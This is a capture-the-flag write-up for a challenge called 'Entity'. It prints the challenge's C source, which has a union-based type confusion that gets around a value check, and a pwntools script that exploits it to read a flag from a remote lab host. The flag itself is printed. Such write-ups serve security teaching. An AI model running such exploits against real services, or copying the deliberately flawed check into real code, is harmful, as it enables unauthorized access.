Entity
3 minutes to read
We are given a 64-bit binary called chall:
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled
If we connect to the remote instance, we see this:
$ nc 134.122.106.203 30576
Something strange is coming out of the TV..
(T)ry to turn it off
(R)un
(C)ry
>>
Nothing really explanatory…
Static code analysis
This time, we are given the original C source code (chall.c):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static union {
    unsigned long long integer;
    char string[8];
} DataStore;
typedef enum {
    STORE_GET,
    STORE_SET,
    FLAG
} action_t;
typedef enum {
    INTEGER,
    STRING
} field_t;
typedef struct { 
    action_t act;
    field_t field;
} menu_t;
menu_t menu() {
    menu_t res = { 0 };
    char buf[32] = { 0 };
    printf("\n(T)ry to turn it off\n(R)un\n(C)ry\n\n>> ");
    fgets(buf, sizeof(buf), stdin);
    buf[strcspn(buf, "\n")] = 0;
    switch (buf[0]) {
    case 'T':
        res.act = STORE_SET;
        break;
    case 'R':
        res.act = STORE_GET;
        break;
    case 'C':
        res.act = FLAG;
        return res;
    default:
        puts("\nWhat's this nonsense?!");
        exit(-1);
    }
    printf("\nThis does not seem to work.. (L)ie down or (S)cream\n\n>> ");
    fgets(buf, sizeof(buf), stdin);
    buf[strcspn(buf, "\n")] = 0;
    switch (buf[0]) {
    case 'L':
        res.field = INTEGER;
        break;
    case 'S':
        res.field = STRING;
        break;
    default:
        printf("\nYou are doomed!\n");
        exit(-1);
    }
    return res;
}
void set_field(field_t f) {
    char buf[32] = {0};
    printf("\nMaybe try a ritual?\n\n>> ");
    fgets(buf, sizeof(buf), stdin);
    switch (f) {
    case INTEGER:
        sscanf(buf, "%llu", &DataStore.integer);
        if (DataStore.integer == 13371337) {
            puts("\nWhat's this nonsense?!");
            exit(-1);
        }
        break;
    case STRING:
        memcpy(DataStore.string, buf, sizeof(DataStore.string));
        break;
    }
}
void get_field(field_t f) {
    printf("\nAnything else to try?\n\n>> ");
    switch (f) {
    case INTEGER:
        printf("%llu\n", DataStore.integer);
        break;
    case STRING:
        printf("%.8s\n", DataStore.string);
        break;
    }
}
void get_flag() {
    if (DataStore.integer == 13371337) {
        system("cat flag.txt");
        exit(0);
    } else {
        puts("\nSorry, this will not work!");
    }
}
int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    bzero(&DataStore, sizeof(DataStore));
    printf("\nSomething strange is coming out of the TV..\n");
    while (1) {
        menu_t result = menu();
        switch (result.act) {
        case STORE_SET:
            set_field(result.field);
            break;
        case STORE_GET:
            get_field(result.field);
            break;
        case FLAG:
            get_flag();
            break;
        }
    }
}
Basically, there’s a menu where we can select whether to set a field, get the field or get the flag.
In order to get the flag, we need that result.field equals 13371337:
void get_flag() {
    if (DataStore.integer == 13371337) {
        system("cat flag.txt");
        exit(0);
    } else {
        puts("\nSorry, this will not work!");
    }
}
However, we are not able to set this special value using set_field:
void set_field(field_t f) {
    char buf[32] = {0};
    printf("\nMaybe try a ritual?\n\n>> ");
    fgets(buf, sizeof(buf), stdin);
    switch (f) {
    case INTEGER:
        sscanf(buf, "%llu", &DataStore.integer);
        if (DataStore.integer == 13371337) {
            puts("\nWhat's this nonsense?!");
            exit(-1);
        }
        break;
    case STRING:
        memcpy(DataStore.string, buf, sizeof(DataStore.string));
        break;
    }
}
Finding the flaw
The problem here is this data structure:
static union {
    unsigned long long integer;
    char string[8];
} DataStore;
The above code indicates to the program that DataStore can be read both as an unsigned long long and as a char[8]. In other words, DataStore.integer and DataStore.string share the same memory address, their binary value is the same.
Therefore, we can enter 13371337 as a string (in bytes format, little-endian), which is not checked in set_field.
Exploit development
In order to do this, we can make use of a short pwntools script:
def main():
    p = get_process()
    p.sendlineafter(b'>> ', b'T')
    p.sendlineafter(b'>> ', b'S')
    p.sendlineafter(b'>> ', p64(13371337))
    p.sendlineafter(b'>> ', b'C')
    print(p.recvline().decode())
    p.close()
Flag
And there’s the flag:
$ python3 solve.py 134.122.106.203:30576
[*] './entity'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 134.122.106.203 on port 30576: Done
HTB{f1ght_34ch_3nt1ty_45_4_un10n}
[*] Closed connection to 134.122.106.203 port 30576
The full exploit code is here: solve.py.